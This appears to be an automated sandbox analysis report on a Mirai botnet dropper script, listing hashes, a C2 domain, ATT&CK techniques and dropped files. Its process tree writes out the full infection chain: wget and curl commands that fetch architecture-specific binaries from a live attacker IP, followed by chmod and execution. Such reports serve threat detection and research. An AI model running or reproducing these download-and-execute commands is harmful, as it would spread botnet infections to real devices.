mirai | c58d8c70b82f2ecb99af380bd00a926428a5883dc910edc92dea36c44bce8eab

Analysis

max time kernel
141s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
15-11-2024 03:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

zeros6x.sh
Size

2KB
MD5

642df6d1dacbef4e6df51eb185893408
SHA1

b5536f3af73f31a31bda2bbf6467a28eb14bd50a
SHA256

c58d8c70b82f2ecb99af380bd00a926428a5883dc910edc92dea36c44bce8eab
SHA512

7deb4c9a41575f1f0092b9430909ce93ccd7273f8900b4dafbd750cbe5926d559a6666dc629611de0db4a33a5c8ab5c9811a783835ae87479f02f45fdfb8a629

Score

10^/10

mirai unstable botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

server.myway-ing.win

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

server.myway-ing.win

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

750 chmod
787 chmod
823 chmod
861 chmod
877 chmod
882 chmod
888 chmod
744 chmod
765 chmod
812 chmod
829 chmod
841 chmod
735 chmod
Deletes itself 1 IoCs

Processes:

WTH

pid process

751 WTH

pid	process
750	chmod
787	chmod
823	chmod
861	chmod
877	chmod
882	chmod
888	chmod
744	chmod
765	chmod
812	chmod
829	chmod
841	chmod
735	chmod

pid	process
751	WTH

Executes dropped EXE 13 IoCs

Processes:

WTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTHWTH

ioc	pid	process
/tmp/WTH	736	WTH
/tmp/WTH	745	WTH
/tmp/WTH	751	WTH
/tmp/WTH	769	WTH
/tmp/WTH	789	WTH
/tmp/WTH	814	WTH
/tmp/WTH	824	WTH
/tmp/WTH	830	WTH
/tmp/WTH	842	WTH
/tmp/WTH	863	WTH
/tmp/WTH	878	WTH
/tmp/WTH	883	WTH
/tmp/WTH	889	WTH

Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
defense_evasion

Impair Defenses
T1562

Processes:

WTH

description ioc process

File opened for modification /dev/watchdog WTH
File opened for modification /dev/misc/watchdog WTH
Writes file to system bin folder 2 IoCs

Processes:

WTH

description ioc process

File opened for modification /sbin/watchdog WTH
File opened for modification /bin/watchdog WTH
Changes its process name 1 IoCs

Processes:

WTH

description ioc pid process

Changes the process name, possibly in an attempt to hide itself fbiano74 751 WTH

description	ioc	process
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH

description	ioc	process
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH

description	ioc	pid	process
Changes the process name, possibly in an attempt to hide itself	fbiano74	751	WTH

Reads runtime system information 13 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlcatWTH

pid process

739 wget
742 curl
743 cat
745 WTH

pid	process
739	wget
742	curl
743	cat
745	WTH

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetwgetcurlwgetwgetcurlcurlwgetcurlwgetwgetcurlcurlcurlwgetwgetcurlcurlzeros6x.shcurlwgetcurlcurlwget

description	ioc	process
File opened for modification	/tmp/zmap.x86	curl
File opened for modification	/tmp/zmap.mips	wget
File opened for modification	/tmp/zmap.arm5	wget
File opened for modification	/tmp/zmap.ppc	curl
File opened for modification	/tmp/zmap.m68k	wget
File opened for modification	/tmp/zmap.mpsl	wget
File opened for modification	/tmp/zmap.mpsl	curl
File opened for modification	/tmp/zmap.arm5	curl
File opened for modification	/tmp/zmap.arm6	wget
File opened for modification	/tmp/zmap.arm6	curl
File opened for modification	/tmp/zmap.ppc	wget
File opened for modification	/tmp/zmap.spc	wget
File opened for modification	/tmp/zmap.spc	curl
File opened for modification	/tmp/zmap.i686	curl
File opened for modification	/tmp/zmap.sh4	curl
File opened for modification	/tmp/zmap.x86	wget
File opened for modification	/tmp/zmap.arm	wget
File opened for modification	/tmp/zmap.arm	curl
File opened for modification	/tmp/zmap.arc	curl
File opened for modification	/tmp/WTH	zeros6x.sh
File opened for modification	/tmp/zmap.mips	curl
File opened for modification	/tmp/zmap.arm7	wget
File opened for modification	/tmp/zmap.arm7	curl
File opened for modification	/tmp/zmap.m68k	curl
File opened for modification	/tmp/zmap.sh4	wget

/tmp/zeros6x.sh
/tmp/zeros6x.sh
1⤵
- Writes file to tmp directory
PID:707
- /usr/bin/wget
  wget http://154.216.16.71/zmap.x86
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/cat
  cat zmap.x86
  2⤵
  PID:733
- /bin/chmod
  chmod +x systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-UjJOKv WTH zeros6x.sh zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/WTH
  ./WTH ssh.x86
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://154.216.16.71/zmap.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod +x systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-UjJOKv WTH zeros6x.sh zmap.mips zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/WTH
  ./WTH ssh.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:745
- /usr/bin/wget
  wget http://154.216.16.71/zmap.mpsl
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:749
- /bin/chmod
  chmod +x systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-UjJOKv WTH zeros6x.sh zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/WTH
  ./WTH ssh.mpsl
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:751
- /usr/bin/wget
  wget http://154.216.16.71/zmap.arm
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat zmap.arm
  2⤵
  PID:764
- /bin/chmod
  chmod +x systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-UjJOKv WTH zeros6x.sh zmap.arm zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/WTH
  ./WTH ssh.arm
  2⤵
  - Executes dropped EXE
  PID:769
- /usr/bin/wget
  wget http://154.216.16.71/zmap.arm5
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:786
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/WTH
  ./WTH ssh.arm5
  2⤵
  - Executes dropped EXE
  PID:789
- /usr/bin/wget
  wget http://154.216.16.71/zmap.arm6
  2⤵
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:811
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/WTH
  ./WTH ssh.arm6
  2⤵
  - Executes dropped EXE
  PID:814
- /usr/bin/wget
  wget http://154.216.16.71/zmap.arm7
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:822
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/WTH
  ./WTH ssh.arm7
  2⤵
  - Executes dropped EXE
  PID:824
- /usr/bin/wget
  wget http://154.216.16.71/zmap.ppc
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:828
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/WTH
  ./WTH ssh.ppc
  2⤵
  - Executes dropped EXE
  PID:830
- /usr/bin/wget
  wget http://154.216.16.71/zmap.m68k
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:840
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/WTH
  ./WTH ssh.m68k
  2⤵
  - Executes dropped EXE
  PID:842
- /usr/bin/wget
  wget http://154.216.16.71/zmap.spc
  2⤵
  - Writes file to tmp directory
  PID:845
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/cat
  cat zmap.spc
  2⤵
  PID:860
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/WTH
  ./WTH ssh.spc
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://154.216.16.71/zmap.i686
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/cat
  cat zmap.i686
  2⤵
  PID:876
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/WTH
  ./WTH ssh.i686
  2⤵
  - Executes dropped EXE
  PID:878
- /usr/bin/wget
  wget http://154.216.16.71/zmap.sh4
  2⤵
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/cat
  cat zmap.sh4
  2⤵
  PID:881
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/WTH
  ./WTH ssh.sh4
  2⤵
  - Executes dropped EXE
  PID:883
- /usr/bin/wget
  wget http://154.216.16.71/zmap.arc
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://154.216.16.71/zmap.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/cat
  cat zmap.arc
  2⤵
  PID:887
- /bin/chmod
  chmod +x WTH zeros6x.sh zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/WTH
  ./WTH ssh.arc
  2⤵
  - Executes dropped EXE
  PID:889

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/WTH

Filesize
94KB

MD5
192b6eb8dcf1ad172064c832fbb47b92

SHA1
a2af8812f96d0748f3a119a4419ff65dcffb179c

SHA256
a97f5317845c7053e64d0d8d5e076532de7a2c98189eb7304b8e0e742e61e93d

SHA512
7ad2efc28832cf1312c00bccf6866669938b0f4787999b7112f750377aa5582b8c508bedba29f482dadceb6a1c3868ce87220cdded44399a1cd325ab9bfd7e9a

Download Submit
/tmp/WTH

Filesize
94KB

MD5
b4458e4fa2efcf88bfa2aaeda864519e

SHA1
8263798736379ed4ce23ef75e4d1f606e05c815b

SHA256
146ef07d918f77546ba8112e9f307361f9d54af4886dba7fc4ba9e58bc8c5d47

SHA512
4aa6068f6e3ed09c6706c37f046cd4081a5c7de3e307860e67ff9fff426a281f33dbb027bbcb36b0fd9df6dccd083308d78f43948009ccdcc3676ed4ff063010

Download Submit
/tmp/WTH

Filesize
74KB

MD5
8a666a51d2aeb8e106c7c9a302aa3acb

SHA1
c222cd4760966db8f2461c4dc034f9f3fe912eb2

SHA256
7b6c76af31adf965e62b5c726ea382825eb5f2aefc7e7331b192e0d4c809fe46

SHA512
b48dd376f4e801bd6ea3351a1726a45d1b895f25f534d9d211b1023195881211f3b52f02914317899f122d71b88775e912f6092e5fe7d83565b3fd23012a04ac

Download Submit
/tmp/WTH

Filesize
49KB

MD5
803219db4e5384144e86c388e558a530

SHA1
c8cb8ec327c2a53a6a5fa42d8c2886161defff89

SHA256
0edc353b0bc96801a0a2d654427c9f51991f3500a3a43070d9c5828efadd352e

SHA512
ccc7ee4ea8f672dd7d8df15e809b6cd9250ec80c0edbd929f0f8ab794c07bcf6ca7aade1f47898348b999f729b1ed6b47d4abed73eb8d2c94eac023fd5cf6332

Download Submit
/tmp/WTH

Filesize
152KB

MD5
04bd1585a8ca785193b158d27307e80b

SHA1
20faf0e3c7f878f134142f71c9f5b7d58ce5ab17

SHA256
272f6e7e0d6dd601ef8110959bc6907cf4531a87fc3e6a5b3ab7d32d1fa3d2ee

SHA512
d92b33a37dbd627faaf48ed65f785191ea8fccb104e15801d64160885e6244a7a98bc17ae1a5eb9e0c9d7f4b5f807174c2aff30d7235be4e8a19b271cd1fc2f2

Download Submit
/tmp/zmap.x86

Filesize
61KB

MD5
8edb75406d233f4201e85fd2d746c114

SHA1
79272fc7bf16c8f354efa0b4b59bcdf0f929fa0a

SHA256
e1f60f41d27140942ad74ef1f1bae26fc98787fed03c91d3c4a33e5390b6d3be

SHA512
df424a671363b4a9d6480a3210e9b135dfbce80bb9e8af7f2b931c5ba51deb8256d54b505dd418091f03c4139ccec955cc00cfeb1456e791c37d7abb5a1253c5

Download Submit